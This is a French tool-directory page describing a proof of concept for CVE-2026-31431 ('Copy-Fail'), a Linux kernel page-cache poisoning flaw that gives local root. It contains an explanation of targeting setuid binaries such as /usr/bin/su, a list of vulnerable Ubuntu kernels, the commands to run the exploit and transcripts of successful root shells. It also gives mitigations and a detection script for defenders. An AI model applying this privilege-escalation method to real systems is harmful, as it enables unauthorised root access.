Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/adilkurtulmus/linux-copy-fail-cve-2026-31431
Escalade de PrivilègesCriminalistique MémoireAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubadilkurtulmus/linux-copy-fail-cve-2026-31431

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

linux-copy-fail-CVE-2026-31431

Preuve de concept d'exploitation pour CVE-2026-31431 (Copy-Fail), une faille du noyau Linux AF_ALG et splice() permettant l'empoisonnement du cache de pages et l'élévation locale de privilèges. Inclut l'analyse, les résultats de laboratoire et un script de détection.

Voir le dépôt
il y a 3 moisPas encore vérifié

Analyse de l'Échec de Copie Linux (CVE-2026-31431) 🛡️

Ce dépôt contient une analyse approfondie, une Preuve de Concept (PoC) et les résultats de tests en laboratoire pour la vulnérabilité CVE-2026-31431, communément appelée « Copy-Fail ».

Copy-Fail exploite un défaut logique dans l'API Crypto du noyau Linux (AF_ALG) combiné à l'appel système splice(). Elle permet à un attaquant local non privilégié d'effectuer un empoisonnement du cache de pages (Page Cache Poisoning), conduisant à une élévation de privilèges locale (LPE).

🧠 Aperçu technique : Empoisonnement du cache de pages

Contrairement aux exploits traditionnels qui modifient les fichiers sur le disque, Copy-Fail cible directement le cache de pages (RAM). Lorsqu'un fichier est lu, le noyau stocke une copie en RAM pour améliorer les performances. En raison d'un bug de gestion de la mémoire dans l'algorithme authenc sur certaines versions du noyau, un attaquant peut tromper le noyau pour qu'il écrase ces pages mémoire « en lecture seule ».

En empoisonnant les pages mémoire des binaires SETUID comme /usr/bin/su, il est possible de contourner l'authentification et d'obtenir un shell root.

🧪 Environnements de laboratoire et résultats des tests

Des tests ont été menés sur plusieurs distributions Ubuntu, en examinant spécifiquement l'impact du rétroportage du noyau et de la gestion des correctifs.

DistributionVersion du noyauDate du correctifRésultatObservation
Ubuntu 24.046.8.0-87-genericOct 2025❌ ÉchecMises à jour de sécurité actives
Ubuntu 22.045.15.0-125-genericSep 2024✅ SUCCÈSVulnérable (non corrigé)
Ubuntu 18.044.15.0-197-genericNov 2022✅ SUCCÈSVulnérable (non corrigé)

Le paradoxe du rétroportage

Les numéros de version du noyau peuvent être trompeurs. Alors que les noyaux « plus récents » comme 6.8 sont protégés par des correctifs de sécurité, les noyaux plus anciens ou en fin de vie (EOL) comme 4.15 et 5.15 restent entièrement vulnérables en raison de l'absence de correctifs rétroportés.

📊 Analyse comparative Ubuntu 22.04 (noyau 5.15)

Au cours de la recherche, un résultat frappant a été obtenu en testant deux systèmes Ubuntu 22.04 différents partageant la même version majeure du noyau :

Version du noyau

Analyse :

Ce test prouve que la sécurité d'un système ne peut pas être mesurée uniquement par le numéro de version majeure. Un serveur exécutant 5.15.0-125 peut être compromis en quelques secondes, alors que 5.15.0-170 bloque complètement l'attaque.

Sortie d'exploitation réussie (noyau 5.15.0-125) :

root@kitploit:~
$ python3 ubuntu_22.04_copy_fail_exploit.py 
[*] Empoisonnement de /usr/bin/su (Ubuntu 22.04 / noyau 5.15)...
[+] Exploit terminé. Déclenchement de Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream01:/tmp#

🛠️ Preuve de Concept (PoC)

La PoC a été développée en utilisant ctypes pour garantir la compatibilité entre différentes versions de Python (notamment pour les versions ne disposant pas du support natif os.splice).

Caractéristiques principales :

  • Appels libc.splice de bas niveau via ctypes.
  • Mise en cache forcée du binaire cible.
  • Démonstration de l'impact latéral (l'empoisonnement par un utilisateur affecte tous les utilisateurs).

Exécution de l'exploit :

1. Charger les modules crypto requis :

sudo modprobe af_alg algif_aead authenc echainiv

2. Exécuter l'exploit :

python3 final_exploit.py

🎥 Démonstration

root@kitploit:~
$ python3 ubuntu_18.04_copy_fail_exploit.py
[*] /bin/su empoisonné (noyau 4.15)...
[+] Mémoire empoisonnée ! Déclenchement de Root...
# id
uid=0(root) gid=1004(jastin) groups=1004(jastin)
# whoami
root
# export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# /bin/bash -i
root@ovh-net-dream02:/tmp#

🛡️ Atténuation et prévention

  • 1. La solution définitive : mise à jour du noyau

  • sudo apt update && sudo apt upgrade -y
  • sudo reboot

2. Réponse d'urgence : vidage du cache

  • Pour nettoyer les pages empoisonnées en mémoire

sync; echo 3 | sudo tee /proc/sys/vm/drop_caches

3. Défense proactive : mise sur liste noire des modules

  • echo "blacklist authenc" | sudo tee /etc/modprobe.d/blacklist-authenc.conf
  • echo "blacklist algif_aead" | sudo tee -a /etc/modprobe.d/blacklist-authenc.conf
  • sudo depmod -a

🛡️ Script de détection de vulnérabilité

root@kitploit:~
# 1. Vérifier la version du noyau
# uname -r

# 2. Vérifier les modules chargés (sûr si aucune sortie)
# lsmod | grep -E "algif_aead|authencesn"

# 3. Test critique — liaison authencesn
python3 -c "
import socket
try:
    s = socket.socket(38, 5, 0)
    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
    print('[!] CRITIQUE — Système vulnérable !')
    s.close()
except:
    print('[+] Sécurisé — authencesn inaccessible')
"

# 4. Hachage des binaires setuid (référence)
sha256sum /usr/bin/su /usr/bin/sudo /usr/bin/passwd

Tableau d'évaluation :

RésultatSignification
Aucune sortie lsmod + erreur de liaison✅ Sécurisé
Sortie lsmod existante OU liaison réussie⚠️ Vulnérable, appliquer les correctifs immédiatement

Avertissement : Cette recherche et cette PoC sont destinées uniquement à des fins éducatives et de tests de sécurité autorisés. Toute utilisation sur des systèmes non autorisés peut entraîner des conséquences juridiques.

Télécharger l’outil
Date du correctif
Résultat
Statut
5.15.0-125Sep 2024✅ SUCCÈSVulnérable (exploit déclenché)
5.15.0-170Jan 2026❌ ÉCHECSécurisé (corrigé)